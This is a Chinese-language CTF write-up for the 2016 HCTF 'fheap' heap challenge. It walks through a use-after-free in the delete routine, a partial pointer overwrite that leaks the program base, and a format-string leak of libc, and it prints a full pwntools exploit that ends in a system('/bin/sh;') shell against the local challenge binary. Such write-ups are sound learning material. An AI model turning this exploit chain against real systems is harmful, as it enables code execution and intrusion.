PWN_2016_hctf_fheap
时隔几个月的再次更新(笑
前两天重新把heap的相关内容看了一下,几个月前看的全忘了。
这次是从ctf-wiki找的一个题
用的是我自己 compile 的,所以地址那些会和它的 exp 有些不一样
实现了一个create和delete的功能

在createStr()中,注意到它对不同大小的str有不同的处理。
当nbytesa也就是strlen(str) > 0xf 时,它会再malloc一个地址来专门储存str,再把这个地址存到ptr里,否则会直接存到ptr中

在deleteStr()中,可以注意到它只清空了*(&Strings + 4 * Int)而没有清空*(&Strings + 2 * Int + 1)也就是ptr的数据,这给了我们Double Free和UAF的利用可能,并且判断的时候利用的是ptr来判断的

思路
思路是较为清晰的:申请两个小于0xf的str并free掉,此时两个chunk存入到fastbin中。再次申请一个0x20的str,ptr会从fastbin中拿出一个(记作0),str拿出另一个(记作1)。
此时我们可以覆盖掉1中ptr + 3,也就是原本为freeShort函数的位置,如果这时候再delete(1),便会执行我们的恶意地址。
EXP
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
先写好基本的菜单。
按照我们的思路,尝试覆盖一下
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
gdb_(1)
create(0x20, b'a'*0x10 + b'b'*0x08 + p64(0xdeadbeef))

可以看到,我们的freeShort函数已经被覆盖了,此时执行delete(1),便会执行0x00005571deadbeef这个地址的函数,并且以ptr本身作为参数。
但是要注意的是,由于保护几乎是全开的,我们目前没有办法泄露libc_base

但是观察IDA可以发现,距离两个free很近的地方它执行了call _puts,由ASLR随机不会改变低十二位的特点,我们可以将最后两个字节直接改为\x7c,这样free的时候执行的就是puts(ptr),根据上图,puts的结果应该是'a'*0x10+'b'*0x10+addr_of_call__puts,再减去0x147C,我们便可以得到程序的运行基地址

create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
gdb_(1, 'b deleteStr')
delete(1) # -> call _puts
可以看到,成功执行了puts(ptr)并计算出了程序基地址


但是如何泄露libc_base呢?这个时候我们实际上已经可以任意地址执行了,且第一个参数是可控的,因此我们可以很容易联想到使用格式化字符串漏洞来输出某个函数的地址然后来找libc_base
我使用的printf是0x150E这里的,要注意的是在printf之前把eax置零了,因为会执行printf+7的test al, al,如果al不为 0 则printf+34的je不会跳转,接着就会执行一个movaps的指令要求 16 位对齐,否则就会段错误。而这里对齐与否是我们(至少是我)所不能决定的。
大概可以通过重新布局内存来达到对齐,然后打
DynELF,但是我看他们的那个 wp 没时候没复现成功,重新create之后还是没有对齐。

至于格式化字符串怎么构造呢?在printf这里下个断点就知道了。
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
delete(1) # -> call _puts
sh.recvuntil(b"b"*0x08)
proc_base = u64(sh.recvline()[:-1].ljust(8, b'\x00')) - 0x147C
print(hex(proc_base))
printf = proc_base + 0x150E
delete(0)
create(0x20, b'Nova%17$pNoir' + b'b'*(0x18-len(b'Nova%17$pNoir')) + p64(printf)) # 这里我已经构造好了捏
gdb_(1)
delete(1)
sh.recvuntil(b"Nova")
printf_addr = sh.recvuntil(b"Noir", drop=True)
printf_addr = int(printf_addr, 16) - 153
print(">>>", hex(printf_addr))

根据栈布局,我们可以找到0x7ffe3a3d1758这个位置是printf+153的位置,我们使用fmtarg 0x7ffe3a3d1758来计算一下偏移(不然就 6+12-1)也行
pwndbg> fmtarg 0x7ffe3a3d1758
The index of format argument : 18 ("\%17$p")
这样,printf+153的地址就出来了

接下来就是常规了,libc_database找libc版本然后计算libc_base,计算system_addr,构造/bin/sh;
注意的是这里构造的是
/bin/sh;而不是/bin/sh\x00,具体原因我也不清楚,好像是因为system()不止执行/bin/sh所以不能截断
完整 exp:
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
delete(1) # -> call _puts
sh.recvuntil(b"b"*0x08)
proc_base = u64(sh.recvline()[:-1].ljust(8, b'\x00')) - 0x147C
print(hex(proc_base))
printf = proc_base + 0x150E
delete(0)
create(0x20, b'Nova%17$pNoir' + b'b'*(0x18-len(b'Nova%17$pNoir')) + p64(printf))
delete(1)
sh.recvuntil(b"Nova")
printf_addr = sh.recvuntil(b"Noir", drop=True)
printf_addr = int(printf_addr, 16) - 153
libc_base = printf_addr - 0x55810
system_addr = libc_base + 0x453a0
print(">>>", hex(printf_addr))
sh.sendline(b"")
sh.sendline(b"")
delete(0)
create(0x20, b'/bin/sh;' + b'b'*(0x18-len(b'/bin/sh;')) + p64(system_addr))
delete(1)
sh.interactive()
总结
算是第一个比较综合的UAF的题,搞了六七个小时,期间去看了那个DynELF的用法,调了很久的movaps,但是最后都没出来,然后还是用了比较常规的方法捏。最后打出来了,可喜可贺可喜可贺